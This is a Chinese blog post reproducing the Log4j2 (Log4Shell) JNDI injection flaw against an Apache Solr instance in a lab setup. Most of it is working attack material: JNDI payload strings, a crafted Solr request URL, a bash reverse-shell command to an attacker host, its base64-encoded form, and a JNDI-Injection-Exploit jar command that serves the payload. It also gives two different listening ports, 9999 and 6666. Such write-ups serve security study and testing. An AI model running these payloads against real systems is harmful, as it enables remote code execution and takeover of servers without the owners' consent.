Log4j2漏洞复现

山巅自相逢

已于 2022-05-25 15:02:11 修改

阅读量3k

点赞数 1

分类专栏：漏洞复现文章标签：安全

于 2022-02-16 15:46:58 首次发布

本文链接：https://blog.youkuaiyun.com/qq_46222050/article/details/122964963

版权

漏洞复现专栏收录该内容

1 篇文章

订阅专栏

本文详细介绍了Log4j2漏洞的复现过程，包括环境配置、payload构造和测试、漏洞利用以及如何通过编码和反弹shell。重点展示了如何利用JNDI注入来触发漏洞，并给出了相关工具和命令的使用方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Log4j2漏洞复现

payload ：

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://sb6vjj.dnslog.cn/exp}

1.环境配置：

靶机：kali220

vps：centos

攻击机：win10

2.测试漏洞

在这里插入图片描述

漏洞点在action参数，将poc输入之前，要现在dnslog申请一个地址。

在这里插入图片描述

构造payload：http://192.168.200.128:8983/solr/admin/cores?action=${jndi:ldap://xjgke4.dnslog.cn/exp}

在这里插入图片描述

获得回显，说明存在漏洞。

3.反弹shell

反弹shell的命令

bash -i >& /dev/tcp/vps_ip/9999 0>&1

里面的vps_ip是你要反弹shell的主机ip，9999是要监听的端口。注意了，用windos系统是弹不会shell的，因为bash -i不是windows的命令。

如我这里用的是192.168.200.133，进行编码：
编码的站点如下：

https://www.jackson-t.ca/runtime-exec-payloads.html

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2mdXOwmR-1644997111920)(C:\Users\67348\AppData\Roaming\Typora\typora-user-images\image-20220204203556105.png)]

将bash编码的复制，然后运行漏洞利用的jar文件：
下载地址：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133"

-C是编码后的内容，-A是反弹shell的ip地址。
注意要先nc监听6666端口.

在这里插入图片描述

使用生产的payload进行攻击rmi://192.168.200.133:1099/9mxiep

在这里插入图片描述

由于多个payload ，你可以一个一个去尝试。

在这里插入图片描述